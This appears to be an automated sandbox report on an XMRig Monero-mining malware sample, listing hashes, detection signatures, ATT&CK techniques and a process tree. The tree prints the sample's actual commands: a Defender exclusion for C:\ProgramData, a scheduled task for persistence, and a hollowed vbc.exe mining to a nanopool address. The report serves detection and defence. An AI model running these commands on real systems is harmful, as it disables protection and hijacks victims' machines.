xmrig | f4fcbc524c30e4469464eb1c5641577b1042bd6fb5f44835731a3ee156d29c27

Analysis

max time kernel
135s
max time network
149s
platform
windows10-2004_x64
resource
win10v2004-20220901-en
resource tags

arch:x64arch:x86image:win10v2004-20220901-enlocale:en-usos:windows10-2004-x64system
submitted
24/11/2022, 09:04

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General

Target

f4fcbc524c30e4469464eb1c5641577b1042bd6fb5f44835731a3ee156d29c27.exe
Size

1.4MB
MD5

073a3dc0c60492b618f888c5e603fd05
SHA1

4de52c57f8f032724452e901120bcf0fbee52902
SHA256

f4fcbc524c30e4469464eb1c5641577b1042bd6fb5f44835731a3ee156d29c27
SHA512

4262dd0e07f0d083c75607a0a67e20b8b8f85c57aeeba2359cc92731a82ba9d2191482cb3d28c7c8f1163b0d9604bf1cfba5ffe168ad7bb6fc7c1c11c99c0d7f
SSDEEP

24576:W+wHtwQBTvwpeNrT2i8k57TujjVx3KClNyOiY:W+sBTopej8Mw3NlNF

Score

10^/10

xmrig miner

Malware Config

Signatures

xmrig
XMRig is a high performance, open source, cross platform CPU/GPU miner.
miner xmrig

XMRig Miner payload 6 IoCs

miner

resource	yara_rule
behavioral1/memory/3064-181-0x0000000140000000-0x00000001407C9000-memory.dmp	xmrig
behavioral1/memory/3064-182-0x0000000140343234-mapping.dmp	xmrig
behavioral1/memory/3064-183-0x0000000140000000-0x00000001407C9000-memory.dmp	xmrig
behavioral1/memory/3064-184-0x0000000140000000-0x00000001407C9000-memory.dmp	xmrig
behavioral1/memory/3064-188-0x0000000140000000-0x00000001407C9000-memory.dmp	xmrig
behavioral1/memory/3064-191-0x0000000140000000-0x00000001407C9000-memory.dmp	xmrig

Executes dropped EXE 1 IoCs

pid	Process
3832	OWT.exe

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-929662420-1054238289-2961194603-1000\Control Panel\International\Geo\Nation	OWT.exe

Uses the VBS compiler for execution 1 TTPs

Scripting
T1064

Suspicious use of SetThreadContext 1 IoCs

description	pid	Process	procid_target
PID 3832 set thread context of 3064	3832	OWT.exe	98

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082

Creates scheduled task(s) 1 TTPs 1 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence

Scheduled Task

T1053

pid	Process
4408	schtasks.exe

Delays execution with timeout.exe 1 IoCs

evasion

pid	Process
2404	timeout.exe

Suspicious behavior: EnumeratesProcesses 10 IoCs

pid	Process
4956	f4fcbc524c30e4469464eb1c5641577b1042bd6fb5f44835731a3ee156d29c27.exe
4956	f4fcbc524c30e4469464eb1c5641577b1042bd6fb5f44835731a3ee156d29c27.exe
4832	powershell.exe
4832	powershell.exe
3832	OWT.exe
3832	OWT.exe
4372	powershell.exe
4372	powershell.exe
3832	OWT.exe
3832	OWT.exe

Suspicious behavior: LoadsDriver 1 IoCs

pid	Process
672	Process not Found

Suspicious use of AdjustPrivilegeToken 6 IoCs

description	pid	Process
Token: SeDebugPrivilege	4956	f4fcbc524c30e4469464eb1c5641577b1042bd6fb5f44835731a3ee156d29c27.exe
Token: SeDebugPrivilege	4832	powershell.exe
Token: SeDebugPrivilege	3832	OWT.exe
Token: SeDebugPrivilege	4372	powershell.exe
Token: SeLockMemoryPrivilege	3064	vbc.exe
Token: SeLockMemoryPrivilege	3064	vbc.exe

Suspicious use of FindShellTrayWindow 1 IoCs

pid	Process
3064	vbc.exe

Suspicious use of WriteProcessMemory 28 IoCs

description	pid	Process	procid_target
PID 4956 wrote to memory of 4832	4956	f4fcbc524c30e4469464eb1c5641577b1042bd6fb5f44835731a3ee156d29c27.exe	81
PID 4956 wrote to memory of 4832	4956	f4fcbc524c30e4469464eb1c5641577b1042bd6fb5f44835731a3ee156d29c27.exe	81
PID 4956 wrote to memory of 3336	4956	f4fcbc524c30e4469464eb1c5641577b1042bd6fb5f44835731a3ee156d29c27.exe	83
PID 4956 wrote to memory of 3336	4956	f4fcbc524c30e4469464eb1c5641577b1042bd6fb5f44835731a3ee156d29c27.exe	83
PID 3336 wrote to memory of 2404	3336	cmd.exe	85
PID 3336 wrote to memory of 2404	3336	cmd.exe	85
PID 3336 wrote to memory of 3832	3336	cmd.exe	86
PID 3336 wrote to memory of 3832	3336	cmd.exe	86
PID 3832 wrote to memory of 4372	3832	OWT.exe	89
PID 3832 wrote to memory of 4372	3832	OWT.exe	89
PID 3832 wrote to memory of 2100	3832	OWT.exe	92
PID 3832 wrote to memory of 2100	3832	OWT.exe	92
PID 2100 wrote to memory of 4408	2100	cmd.exe	93
PID 2100 wrote to memory of 4408	2100	cmd.exe	93
PID 3832 wrote to memory of 3064	3832	OWT.exe	98
PID 3832 wrote to memory of 3064	3832	OWT.exe	98
PID 3832 wrote to memory of 3064	3832	OWT.exe	98
PID 3832 wrote to memory of 3064	3832	OWT.exe	98
PID 3832 wrote to memory of 3064	3832	OWT.exe	98
PID 3832 wrote to memory of 3064	3832	OWT.exe	98
PID 3832 wrote to memory of 3064	3832	OWT.exe	98
PID 3832 wrote to memory of 3064	3832	OWT.exe	98
PID 3832 wrote to memory of 3064	3832	OWT.exe	98
PID 3832 wrote to memory of 3064	3832	OWT.exe	98
PID 3832 wrote to memory of 3064	3832	OWT.exe	98
PID 3832 wrote to memory of 3064	3832	OWT.exe	98
PID 3832 wrote to memory of 3064	3832	OWT.exe	98
PID 3832 wrote to memory of 3064	3832	OWT.exe	98

C:\Users\Admin\AppData\Local\Temp\f4fcbc524c30e4469464eb1c5641577b1042bd6fb5f44835731a3ee156d29c27.exe
"C:\Users\Admin\AppData\Local\Temp\f4fcbc524c30e4469464eb1c5641577b1042bd6fb5f44835731a3ee156d29c27.exe"
1⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:4956
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell" -Command Add-MpPreference -ExclusionPath 'C:\ProgramData'
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:4832
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\tmpCD76.tmp.bat""
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:3336
- - C:\Windows\system32\timeout.exe
    timeout 3
    3⤵
    - Delays execution with timeout.exe
    PID:2404
- - C:\ProgramData\winrar\OWT.exe
    "C:\ProgramData\winrar\OWT.exe"
    3⤵
    - Executes dropped EXE
    - Checks computer location settings
    - Suspicious use of SetThreadContext
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of WriteProcessMemory
    PID:3832
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "powershell" -Command Add-MpPreference -ExclusionPath 'C:\ProgramData'
      4⤵
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:4372
  - - C:\Windows\System32\cmd.exe
      "C:\Windows\System32\cmd.exe" /c schtasks /create /f /sc MINUTE /mo 5 /RL HIGHEST /tn "OWT" /tr "C:\ProgramData\winrar\OWT.exe"
      4⤵
      Suspicious use of WriteProcessMemory
      PID:2100
    - - C:\Windows\system32\schtasks.exe
        
        schtasks /create /f /sc MINUTE /mo 5 /RL HIGHEST /tn "OWT" /tr "C:\ProgramData\winrar\OWT.exe"
        5⤵
        Creates scheduled task(s)
        
        PID:4408
  - - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\vbc.exe
      C:\Windows\Microsoft.NET\Framework64\v4.0.30319\vbc.exe -o xmr-eu1.nanopool.org:14433 -u 4BrL51JCc9NGQ71kWhnYoDRffsDZy7m1HUU7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQoBJqYKAGMEQrLE8L8 --tls --coin monero
      4⤵
      Suspicious use of AdjustPrivilegeToken
      Suspicious use of FindShellTrayWindow
      PID:3064

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Scheduled Task

T1053

Scripting

T1064

Persistence

Scheduled Task

T1053

Privilege Escalation

Scheduled Task

T1053

Defense Evasion

Scripting

T1064

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\ProgramData\winrar\OWT.exe

Filesize
1.4MB

MD5
073a3dc0c60492b618f888c5e603fd05

SHA1
4de52c57f8f032724452e901120bcf0fbee52902

SHA256
f4fcbc524c30e4469464eb1c5641577b1042bd6fb5f44835731a3ee156d29c27

SHA512
4262dd0e07f0d083c75607a0a67e20b8b8f85c57aeeba2359cc92731a82ba9d2191482cb3d28c7c8f1163b0d9604bf1cfba5ffe168ad7bb6fc7c1c11c99c0d7f

Download Submit
C:\ProgramData\winrar\OWT.exe

Filesize
1.4MB

MD5
073a3dc0c60492b618f888c5e603fd05

SHA1
4de52c57f8f032724452e901120bcf0fbee52902

SHA256
f4fcbc524c30e4469464eb1c5641577b1042bd6fb5f44835731a3ee156d29c27

SHA512
4262dd0e07f0d083c75607a0a67e20b8b8f85c57aeeba2359cc92731a82ba9d2191482cb3d28c7c8f1163b0d9604bf1cfba5ffe168ad7bb6fc7c1c11c99c0d7f

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

Filesize
2KB

MD5
d85ba6ff808d9e5444a4b369f5bc2730

SHA1
31aa9d96590fff6981b315e0b391b575e4c0804a

SHA256
84739c608a73509419748e4e20e6cc4e1846056c3fe1929a8300d5a1a488202f

SHA512
8c414eb55b45212af385accc16d9d562adba2123583ce70d22b91161fe878683845512a78f04dedd4ea98ed9b174dbfa98cf696370598ad8e6fbd1e714f1f249

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
944B

MD5
6d3e9c29fe44e90aae6ed30ccf799ca8

SHA1
c7974ef72264bbdf13a2793ccf1aed11bc565dce

SHA256
2360634e63e8f0b5748e2c56ebb8f4aa78e71008ea7b5c9ca1c49be03b49557d

SHA512
60c38c4367352537545d859f64b9c5cbada94240478d1d039fd27b5ecba4dc1c90051557c16d802269703b873546ead416279c0a80c6fd5e49ad361cef22596a

Download Submit
C:\Users\Admin\AppData\Local\Temp\tmpCD76.tmp.bat

Filesize
138B

MD5
874e7ceba0f3ae885f92f86c6df6e2be

SHA1
d517d1dde905e6128eb4fdc87f43de81740d7e82

SHA256
2f6fce8244e11a57cad8b22fd4a8a813e20481640bb5aace453f5499ec9d6132

SHA512
a83d7366ee81e6e6e9df2c380960d01a59e446214db172fbfa9dca2b972b34a8802226bc14ddabb802416516fc5e614dc4204798da5f1599393416a2a4dbb508

Download Submit
memory/3064-191-0x0000000140000000-0x00000001407C9000-memory.dmp

Filesize
7.8MB

Download
memory/3064-185-0x000001F39E030000-0x000001F39E050000-memory.dmp

Filesize
128KB

Download
memory/3064-184-0x0000000140000000-0x00000001407C9000-memory.dmp

Filesize
7.8MB

Download
memory/3064-183-0x0000000140000000-0x00000001407C9000-memory.dmp

Filesize
7.8MB

Download
memory/3064-181-0x0000000140000000-0x00000001407C9000-memory.dmp

Filesize
7.8MB

Download
memory/3064-188-0x0000000140000000-0x00000001407C9000-memory.dmp

Filesize
7.8MB

Download
memory/3064-190-0x000001F39E0A0000-0x000001F39E0E0000-memory.dmp

Filesize
256KB

Download
memory/3064-194-0x000001F39E0E0000-0x000001F39E100000-memory.dmp

Filesize
128KB

Download
memory/3064-195-0x000001F39FAA0000-0x000001F39FAC0000-memory.dmp

Filesize
128KB

Download
memory/3064-196-0x000001F39E0E0000-0x000001F39E100000-memory.dmp

Filesize
128KB

Download
memory/3064-197-0x000001F39FAA0000-0x000001F39FAC0000-memory.dmp

Filesize
128KB

Download
memory/3832-166-0x00007FFD321B0000-0x00007FFD322FE000-memory.dmp

Filesize
1.3MB

Download
memory/3832-176-0x00007FFD4FC20000-0x00007FFD4FC47000-memory.dmp

Filesize
156KB

Download
memory/3832-193-0x00007FFD33C10000-0x00007FFD346D1000-memory.dmp

Filesize
10.8MB

Download
memory/3832-158-0x00007FFD348E0000-0x00007FFD3498A000-memory.dmp

Filesize
680KB

Download
memory/3832-160-0x00007FFD4D770000-0x00007FFD4D782000-memory.dmp

Filesize
72KB

Download
memory/3832-159-0x00007FFD50550000-0x00007FFD505EE000-memory.dmp

Filesize
632KB

Download
memory/3832-161-0x00007FFD347C0000-0x00007FFD3487D000-memory.dmp

Filesize
756KB

Download
memory/3832-162-0x00007FFD51DA0000-0x00007FFD51F41000-memory.dmp

Filesize
1.6MB

Download
memory/3832-163-0x00007FFD33C10000-0x00007FFD346D1000-memory.dmp

Filesize
10.8MB

Download
memory/3832-164-0x00007FFD51BD0000-0x00007FFD51BFB000-memory.dmp

Filesize
172KB

Download
memory/3832-165-0x0000000000E60000-0x000000000102C000-memory.dmp

Filesize
1.8MB

Download
memory/3832-192-0x0000000000E60000-0x000000000102C000-memory.dmp

Filesize
1.8MB

Download
memory/3832-168-0x00000000033F0000-0x0000000003431000-memory.dmp

Filesize
260KB

Download
memory/3832-167-0x0000000000E60000-0x000000000102C000-memory.dmp

Filesize
1.8MB

Download
memory/3832-169-0x00007FFD33C10000-0x00007FFD346D1000-memory.dmp

Filesize
10.8MB

Download
memory/3832-187-0x00007FFD33C10000-0x00007FFD346D1000-memory.dmp

Filesize
10.8MB

Download
memory/3832-186-0x0000000000E60000-0x000000000102C000-memory.dmp

Filesize
1.8MB

Download
memory/3832-179-0x00007FFD50D10000-0x00007FFD50D7B000-memory.dmp

Filesize
428KB

Download
memory/3832-180-0x00007FFD4EC20000-0x00007FFD4EC5B000-memory.dmp

Filesize
236KB

Download
memory/3832-177-0x00007FFD34D00000-0x00007FFD34D35000-memory.dmp

Filesize
212KB

Download
memory/3832-178-0x00007FFD30D90000-0x00007FFD30E92000-memory.dmp

Filesize
1.0MB

Download
memory/4372-175-0x00007FFD33C10000-0x00007FFD346D1000-memory.dmp

Filesize
10.8MB

Download
memory/4372-189-0x00007FFD33C10000-0x00007FFD346D1000-memory.dmp

Filesize
10.8MB

Download
memory/4832-148-0x00007FFD33C10000-0x00007FFD346D1000-memory.dmp

Filesize
10.8MB

Download
memory/4832-153-0x00007FFD33C10000-0x00007FFD346D1000-memory.dmp

Filesize
10.8MB

Download
memory/4832-151-0x000002A626BB0000-0x000002A626BD2000-memory.dmp

Filesize
136KB

Download
memory/4956-138-0x00007FFD33C10000-0x00007FFD346D1000-memory.dmp

Filesize
10.8MB

Download
memory/4956-139-0x0000000000310000-0x00000000004DC000-memory.dmp

Filesize
1.8MB

Download
memory/4956-142-0x0000000000310000-0x00000000004DC000-memory.dmp

Filesize
1.8MB

Download
memory/4956-149-0x0000000001610000-0x0000000001651000-memory.dmp

Filesize
260KB

Download
memory/4956-141-0x00007FFD51BD0000-0x00007FFD51BFB000-memory.dmp

Filesize
172KB

Download
memory/4956-147-0x00007FFD33C10000-0x00007FFD346D1000-memory.dmp

Filesize
10.8MB

Download
memory/4956-140-0x0000000001610000-0x0000000001651000-memory.dmp

Filesize
260KB

Download
memory/4956-146-0x0000000000310000-0x00000000004DC000-memory.dmp

Filesize
1.8MB

Download
memory/4956-133-0x00007FFD34CE0000-0x00007FFD34D8A000-memory.dmp

Filesize
680KB

Download
memory/4956-143-0x00007FFD323C0000-0x00007FFD3250E000-memory.dmp

Filesize
1.3MB

Download
memory/4956-137-0x00007FFD51DA0000-0x00007FFD51F41000-memory.dmp

Filesize
1.6MB

Download
memory/4956-136-0x00007FFD348D0000-0x00007FFD3498D000-memory.dmp

Filesize
756KB

Download
memory/4956-134-0x00007FFD50550000-0x00007FFD505EE000-memory.dmp

Filesize
632KB

Download
memory/4956-135-0x00007FFD4D770000-0x00007FFD4D782000-memory.dmp

Filesize
72KB

Download